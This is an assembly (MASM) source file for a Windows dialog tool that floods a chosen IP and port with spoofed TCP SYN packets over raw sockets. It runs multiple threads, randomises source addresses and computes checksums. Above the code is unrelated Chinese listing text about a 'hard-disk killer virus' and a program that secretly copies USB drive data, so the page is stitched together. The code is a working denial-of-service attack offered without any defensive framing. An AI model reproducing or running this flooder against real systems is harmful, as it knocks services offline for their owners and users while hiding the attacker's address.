dgod.asm

硬盘杀手病毒技术详细特征 [shief.rar] - 这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘(如U盘,mp3)一插上

.586
.model flat, stdcall
option casemap :none
    include     \masm32\include\windows.inc
    include     \masm32\include\user32.inc
    include     \masm32\include\kernel32.inc
    include     \masm32\include\comctl32.inc
    include     \masm32\include\gdi32.inc
    include     \masm32\include\shell32.inc
    include     \masm32\include\advapi32.inc
	include		\masm32\include\ws2_32.inc
    include     \masm32\include\masm32.inc
	include		\masm32\include\winmm.inc
	include		\masm32\include\comdlg32.inc
	include		\masm32\include\shlwapi.inc
	include		\masm32\include\odbc32.inc
    includelib  \masm32\lib\user32.lib
    includelib  \masm32\lib\kernel32.lib
    includelib  \masm32\lib\comctl32.lib
    includelib  \masm32\lib\gdi32.lib
    includelib  \masm32\lib\shell32.lib
    includelib  \masm32\lib\advapi32.lib
	includelib	\masm32\lib\ws2_32.lib
 	includelib	\masm32\lib\winmm.lib
	includelib  \masm32\lib\masm32.lib
	includelib	\masm32\lib\comdlg32.lib
	includelib	\masm32\lib\shlwapi.lib
	includelib	\masm32\lib\odbc32.lib
	LinkDialogProc					PROTO :DWORD,:DWORD,:DWORD,:DWORD
	CallAttackThread				PROTO :DWORD
	CalcCrc							PROTO :DWORD,:DWORD
	rand							PROTO
	MakeSourceIp					PROTO
	DLG_LINK						equ 100
	IDE_IP							equ 1000
	IDE_PORT						equ 1001
	IDE_THREAD						equ 1002
	IDB_STOP						equ 3
	WSA_FLAG_OVERLAPPED				equ 1
	WSA_FLAG_MULTIPOINT_C_ROOT		equ 2
	WSA_FLAG_MULTIPOINT_C_LEAF		equ 4
	WSA_FLAG_MULTIPOINT_D_ROOT		equ 8
	WSA_FLAG_MULTIPOINT_D_LEAF		equ 10h
	TH_FIN							equ 1	; 数据从发送端发送完毕
	TH_SYN							equ 2	; 使序列号同步
	TH_RST							equ 4	; 重置连接
	TH_PUSH							equ 8	; 推送功能
	TH_ACK							equ 10h	; 包含在确认字段中的数据，同上重要
	TH_URG							equ 20h	; 包含在紧急字段中的数据，很重要，不能忽略

tcphdr	STRUCT
	th_sport	dw ?
	th_dport	dw ?
	th_seq		dd ?
	th_ack		dd ?
	th_off		db ?
	th_flags	db ?
	th_win		dw ?
	th_sum		dw ?
	th_urp		dw ?
tcphdr	ENDS

szText MACRO Name, Text:VARARG
	LOCAL lbl
	jmp lbl
	Name db Text,0
	lbl:
ENDM
STEXT MACRO Text
	local szText
	LOCAL lbl
	jmp lbl
	szText db Text,0
	lbl:
	exitm <offset szText>
ENDM
m2m MACRO M1, M2
	push M2
	pop  M1
ENDM
.data?
hInstance		dd ?
hRand			dd ?
hPort			dd ?
.data
hStartThread	db 0
.code
start:
	invoke InitCommonControls
	invoke GetModuleHandle,NULL
	mov	hInstance,eax
	invoke DialogBoxParam,hInstance,DLG_LINK,NULL,offset LinkDialogProc,DLG_LINK
	invoke ExitProcess,eax
	ret
LinkDialogProc	proc	hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
	LOCAL hThreadId:DWORD
	LOCAL TmpBuff[MAX_PATH]:BYTE
	LOCAL hIp:DWORD,hIndex:DWORD
	LOCAL wsadata:WSADATA
	mov	eax,uMsg
	.if eax == WM_INITDIALOG
		invoke WSAStartup,101h,addr wsadata
	.elseif eax == WM_COMMAND
		.if wParam == IDOK
			invoke GetDlgItemText,hWin,IDE_IP,addr TmpBuff,sizeof TmpBuff
			.if eax != 0 && hStartThread == 0
				invoke inet_addr,addr TmpBuff
				mov hIp,eax
				invoke GetDlgItemText,hWin,IDE_PORT,addr TmpBuff,sizeof TmpBuff
				invoke atodw,addr TmpBuff
				mov hPort,eax
				invoke GetDlgItemText,hWin,IDE_THREAD,addr TmpBuff,sizeof TmpBuff
				.if eax != 0
					invoke atodw,addr TmpBuff
					mov hIndex,eax
					mov hStartThread,1
					.while hIndex != 0
						invoke CreateThread,0,0,offset CallAttackThread,hIp,0,addr hThreadId
						invoke CloseHandle,eax
						dec hIndex
					.endw
				.endif
			.endif
		.elseif wParam == IDCANCEL
			invoke SendMessage,hWin,WM_CLOSE,0,0
		.elseif wParam == IDB_STOP
			mov hStartThread,0
		.endif
	.elseif eax == WM_CLOSE
		invoke WSACleanup
		invoke EndDialog,hWin,lParam
	.else
		xor eax,eax
		ret
	.endif
	mov eax,1
	ret
LinkDialogProc	endp

CallAttackThread	proc uses esi edi,lParam:DWORD
	LOCAL hSock:DWORD
	LOCAL nTimeOver:DWORD
	LOCAL soaddr:sockaddr_in
	LOCAL tcp:tcphdr
	LOCAL iphdr:ip_hdr
	LOCAL tmptcp:tcphdr
	LOCAL ipdata:DWORD
	LOCAL iptmphdr:ip_hdr
	LOCAL hIndex:DWORD,hSeq:DWORD,hSource:DWORD
	invoke WSASocket,AF_INET,SOCK_RAW,IPPROTO_RAW,0,0,WSA_FLAG_OVERLAPPED
	mov hSock,eax
	mov nTimeOver,1
	invoke setsockopt,hSock,IPPROTO_IP,SO_ACCEPTCONN,addr nTimeOver,sizeof nTimeOver
	mov nTimeOver,2000
	invoke setsockopt,hSock,SOL_SOCKET,SO_SNDTIMEO,addr nTimeOver,sizeof nTimeOver
	invoke GetTickCount
	mov hRand,eax
	mov hIndex,0
	lea edi,soaddr
	mov ecx,sizeof soaddr
	xor eax,eax
	rep stosb
	mov iphdr.ip_hlv,45h
	mov iphdr.ip_tos,0
	invoke htons,sizeof tcphdr+sizeof ip_hdr
	mov iphdr.ip_len,ax
	mov iphdr.ip_id,1
	mov iphdr.ip_off,0
	mov iphdr.ip_p,6
	mov tcp.th_ack,0
	mov tcp.th_off,50h
	mov tcp.th_flags,TH_SYN or 80h
	mov tcp.th_win,40h
	mov tcp.th_sum,0
	mov tcp.th_urp,0
	mov soaddr.sin_family,AF_INET
	;invoke inet_addr,STEXT('192.168.1.207')
	m2m soaddr.sin_addr.S_un.S_addr,lParam
	m2m iphdr.ip_dest,lParam

	invoke GetTickCount
	mov esi,eax
	invoke GetCurrentThreadId
	add esi,eax
	movzx eax,si
	mov ecx,eax
	lea eax,[ecx+ecx+1026h]
	and eax,0ffffh
	mov hSeq,eax
	mov eax,ecx
	xor edx,edx
	mov esi,14h
	div esi
	add dl,80h
	mov iphdr.ip_ttl,dl

	mov eax,ecx
	xor edx,edx
	mov ecx,4e20h
	div ecx
	add edx,1dcah
	mov hSource,edx


	.while hStartThread != 0
		inc hIndex
		.if hIndex == 10000h
			mov hIndex,1
		.endif
		inc hSource
		.if hSource == 10000h
			mov hSource,400h
		.endif
		mov eax,hSeq
		add eax,hIndex
		invoke htonl,eax
		mov tcp.th_seq,eax
		invoke htons,hSource
		mov tcp.th_sport,ax
		invoke MakeSourceIp
		mov iphdr.ip_src,eax

		.if hPort == 0
			invoke rand
		.else
			mov eax,hPort
		.endif
		invoke htons,eax
		mov tcp.th_dport,ax
		mov tcp.th_sum,0

		invoke MemCopy,addr iphdr,addr iptmphdr,sizeof iptmphdr
		invoke MemCopy,addr tcp,addr tmptcp,sizeof tmptcp
		mov word ptr ipdata,600h
		mov word ptr ipdata+2,1400h
		invoke CalcCrc,addr iptmphdr.ip_src,20h
		mov tcp.th_sum,ax
		mov iphdr.ip_cksum,0
		invoke CalcCrc,addr iphdr,sizeof iphdr+sizeof tcp
		mov iphdr.ip_cksum,ax

		invoke sendto,hSock,addr iphdr,sizeof iphdr+sizeof tcp,0,addr soaddr,sizeof soaddr
	.endw
	invoke closesocket,hSock
	mov eax,1
	ret
CallAttackThread	endp
rand	proc
	mov eax,hRand
	imul eax,eax,343fdh
	add eax,269ec3h
	mov hRand,eax
	sar eax,10h
	and eax,7fffh
	ret
rand	endp
CalcCrc	proc uses esi ebx,lpBuff:DWORD,lpSize:DWORD
	mov esi,lpBuff
	mov ecx,lpSize
	xor ebx,ebx
	cmp ecx,2
	.while !SIGN?
		movzx eax,word ptr [esi]
		add ebx,eax
		add esi,2
		sub ecx,2
		cmp ecx,2
	.endw
	mov eax,ebx
	shr eax,10h
	and ebx,0ffffh
	add ebx,eax
	mov eax,ebx
	shr eax,10h
	add eax,ebx
	not eax
	ret
CalcCrc	endp
MakeSourceIp	proc
	LOCAL hIpAddr:DWORD
	invoke rand
	cdq
	mov ecx,0ffh
	idiv ecx
	mov byte ptr hIpAddr,dl
	invoke rand
	cdq
	mov ecx,0ffh
	idiv ecx
	mov byte ptr hIpAddr+1,dl
	invoke rand
	cdq
	mov ecx,0ffh
	idiv ecx
	mov byte ptr hIpAddr+2,dl
	invoke rand
	cdq
	mov ecx,0ffh
	idiv ecx
	mov byte ptr hIpAddr+3,dl
	mov eax,hIpAddr
	ret
MakeSourceIp	endp
end start